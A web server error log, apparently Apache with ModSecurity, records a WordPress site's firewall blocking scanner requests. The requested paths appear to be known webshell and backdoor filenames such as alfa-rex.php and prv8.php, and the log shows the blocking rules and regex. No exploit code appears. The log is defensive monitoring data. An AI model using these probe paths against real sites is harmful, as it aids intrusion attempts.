[Thu Apr 09 16:11:20.042500 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:64249] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "addfKMDe826HlFeoLPI99gAAAVY"]
[Thu Apr 09 16:11:20.332418 2026] [:error] [pid 18477:tid 18485] [client 173.239.218.20:29583] [client 173.239.218.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "addfKMDe826HlFeoLPI9-QAAAUY"]
[Thu Apr 09 16:11:20.582723 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:64287] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "addfKMDe826HlFeoLPI9_QAAAVE"]
[Thu Apr 09 16:11:21.125103 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:64925] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "addfKTXObuzEuw8mNJuiRAAAARM"]
[Thu Apr 09 16:11:21.423102 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.11:50469] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "addfKcDe826HlFeoLPI-AAAAAVg"]
[Thu Apr 09 16:11:21.717083 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:64842] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "addfKTXObuzEuw8mNJuiRgAAAQs"]
[Thu Apr 09 16:11:22.230426 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:64857] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "addfKjXObuzEuw8mNJuiSAAAARE"]
[Thu Apr 09 16:11:22.786384 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:62366] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "addfKsDe826HlFeoLPI-AwAAAVQ"]
[Thu Apr 09 16:11:23.267321 2026] [:error] [pid 24927:tid 24944] [client 216.24.210.16:39625] [client 216.24.210.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "addfKzXObuzEuw8mNJuiTgAAAQ4"]
[Thu Apr 09 16:11:23.361343 2026] [:error] [pid 20837:tid 20857] [client 20.215.65.153:64280] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "addfK_SL71FHZkjrGzOwVwAAAZI"]
[Thu Apr 09 16:11:24.036881 2026] [:error] [pid 18477:tid 18497] [client 20.215.65.153:63562] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "addfLMDe826HlFeoLPI-BQAAAVI"]
[Thu Apr 09 16:11:24.613329 2026] [:error] [pid 24515:tid 24534] [client 20.215.65.153:64254] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "addfLK1OMnvM2fMnB1NOYgAAAA8"]
[Thu Apr 09 16:11:24.968623 2026] [:error] [pid 18477:tid 18492] [client 216.24.210.40:45089] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "addfLMDe826HlFeoLPI-CAAAAU0"]
[Thu Apr 09 16:11:25.296845 2026] [:error] [pid 18477:tid 18493] [client 20.215.65.153:64934] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "addfLcDe826HlFeoLPI-CgAAAU4"]
[Thu Apr 09 16:11:25.720209 2026] [:error] [pid 18477:tid 18479] [client 216.24.210.41:59451] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/log.php"] [unique_id "addfLcDe826HlFeoLPI-DAAAAUA"]
[Thu Apr 09 16:11:25.858982 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63025] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "addfLcDe826HlFeoLPI-DgAAAUU"]
[Thu Apr 09 16:11:26.377444 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:64257] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "addfLsDe826HlFeoLPI-EgAAAUs"]
[Thu Apr 09 16:11:26.857156 2026] [:error] [pid 24517:tid 24591] [client 216.24.210.37:38919] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "addfLnboYEn2ZFM_PS9fowAAAJE"]
[Thu Apr 09 16:11:26.968940 2026] [:error] [pid 24516:tid 24549] [client 20.215.65.153:63576] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "addfLthW7vSS-UkeWCUH2wAAAEI"]
[Thu Apr 09 16:11:27.532832 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:63021] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "addfL8De826HlFeoLPI-EwAAAUM"]
[Thu Apr 09 16:11:27.662416 2026] [:error] [pid 18477:tid 18485] [client 216.24.210.34:29941] [client 216.24.210.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "addfL8De826HlFeoLPI-FAAAAUY"]
[Thu Apr 09 16:11:28.080504 2026] [:error] [pid 24517:tid 24576] [client 20.215.65.153:64237] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "addfMHboYEn2ZFM_PS9fpAAAAII"]
[Thu Apr 09 16:11:28.351447 2026] [:error] [pid 18477:tid 18480] [client 216.24.210.22:53799] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/aw.php"] [unique_id "addfMMDe826HlFeoLPI-FwAAAUE"]
[Thu Apr 09 16:11:28.649108 2026] [:error] [pid 24517:tid 24595] [client 20.215.65.153:63612] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "addfMHboYEn2ZFM_PS9fpQAAAJU"]
[Thu Apr 09 16:11:29.171069 2026] [:error] [pid 24517:tid 24590] [client 20.215.65.153:64937] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "addfMXboYEn2ZFM_PS9fpgAAAJA"]
[Thu Apr 09 16:11:29.690035 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:63585] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "addfMcDe826HlFeoLPI-HAAAAUc"]
[Thu Apr 09 16:11:29.975613 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.41:41231] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "addfMcDe826HlFeoLPI-HwAAAVM"]
[Thu Apr 09 16:11:30.301137 2026] [:error] [pid 20837:tid 20843] [client 20.215.65.153:64318] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "addfMvSL71FHZkjrGzOwWAAAAYQ"]
[Thu Apr 09 16:11:30.384247 2026] [:error] [pid 24517:tid 24575] [client 216.24.210.37:41499] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "addfMnboYEn2ZFM_PS9fpwAAAIE"]
[Thu Apr 09 16:11:30.946765 2026] [:error] [pid 24515:tid 24539] [client 20.215.65.153:63083] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "addfMq1OMnvM2fMnB1NOZQAAABQ"]
[Thu Apr 09 16:11:31.018958 2026] [:error] [pid 18477:tid 18485] [client 216.24.210.41:46749] File does not exist: /usr/local/apache/htdocs/suspended-page/top.php
[Thu Apr 09 16:11:31.198456 2026] [:error] [pid 18477:tid 18489] [client 216.24.210.41:46749] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "addfM8De826HlFeoLPI-JAAAAUo"]
[Thu Apr 09 16:11:31.527689 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:63011] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "addfM8De826HlFeoLPI-JgAAAVE"]
[Thu Apr 09 16:11:31.841752 2026] [:error] [pid 20837:tid 20846] [client 216.24.210.14:31151] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "addfM_SL71FHZkjrGzOwWQAAAYc"]
[Thu Apr 09 16:11:32.080162 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:65507] [client 20.215.65.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "addfNMDe826HlFeoLPI-KQAAAUA"]
[Thu Apr 09 16:11:32.630283 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:65521] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "addfNDXObuzEuw8mNJuiTwAAAQY"]
[Thu Apr 09 16:11:32.961264 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.40:21093] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "addfNK1OMnvM2fMnB1NOaAAAAAQ"]
[Thu Apr 09 16:11:33.161047 2026] [:error] [pid 24927:tid 24938] [client 20.215.65.153:63661] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "addfNTXObuzEuw8mNJuiUAAAAQg"]
[Thu Apr 09 16:11:33.703632 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:64299] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "addfNTXObuzEuw8mNJuiUwAAARg"]
[Thu Apr 09 16:11:34.255098 2026] [:error] [pid 24515:tid 24535] [client 20.215.65.153:63081] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "addfNq1OMnvM2fMnB1NOaQAAABA"]
[Thu Apr 09 16:11:34.395550 2026] [:error] [pid 24515:tid 24528] [client 173.239.218.18:46269] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "addfNq1OMnvM2fMnB1NOagAAAAk"]
[Thu Apr 09 16:11:34.796069 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:64957] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "addfNq1OMnvM2fMnB1NOawAAAA4"]
[Thu Apr 09 16:11:35.318791 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:65481] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "addfN8De826HlFeoLPI-LwAAAUo"]
[Thu Apr 09 16:11:35.898034 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:63645] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "addfN8De826HlFeoLPI-MgAAAVE"]
[Thu Apr 09 16:11:36.240312 2026] [:error] [pid 24927:tid 24942] [client 216.24.210.19:41649] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "addfODXObuzEuw8mNJuiXAAAAQw"]
[Thu Apr 09 16:11:36.472787 2026] [:error] [pid 18477:tid 18502] [client 20.215.65.153:63102] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "addfOMDe826HlFeoLPI-NAAAAVc"]
[Thu Apr 09 16:11:37.015848 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63012] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "addfOcDe826HlFeoLPI-NwAAAUk"]
[Thu Apr 09 16:11:37.566036 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:63584] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "addfOcDe826HlFeoLPI-OQAAAUg"]
[Thu Apr 09 16:11:38.131837 2026] [:error] [pid 18477:tid 18499] [client 20.215.65.153:62439] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "addfOsDe826HlFeoLPI-PAAAAVQ"]
[Thu Apr 09 16:11:38.629713 2026] [:error] [pid 24624:tid 24630] [client 216.24.210.67:60451] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "addfOu4Jn-WvK1ZBTviWbgAAAMQ"]
[Thu Apr 09 16:11:38.780502 2026] [:error] [pid 24624:tid 24634] [client 20.215.65.153:64196] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "addfOu4Jn-WvK1ZBTviWbwAAAMg"]
[Thu Apr 09 16:11:39.313355 2026] [:error] [pid 24624:tid 24644] [client 20.215.65.153:64872] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prv8.php"] [unique_id "addfO-4Jn-WvK1ZBTviWcgAAANI"]
[Thu Apr 09 16:11:39.470792 2026] [:error] [pid 24516:tid 24571] [client 216.24.210.14:34773] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "addfO9hW7vSS-UkeWCUH4AAAAFg"]
[Thu Apr 09 16:11:40.028400 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:65514] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prv8.php"] [unique_id "addfPO4Jn-WvK1ZBTviWdQAAANY"]
[Thu Apr 09 16:11:40.093659 2026] [:error] [pid 20837:tid 20848] [client 216.24.210.38:22189] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "addfPPSL71FHZkjrGzOwXAAAAYk"]
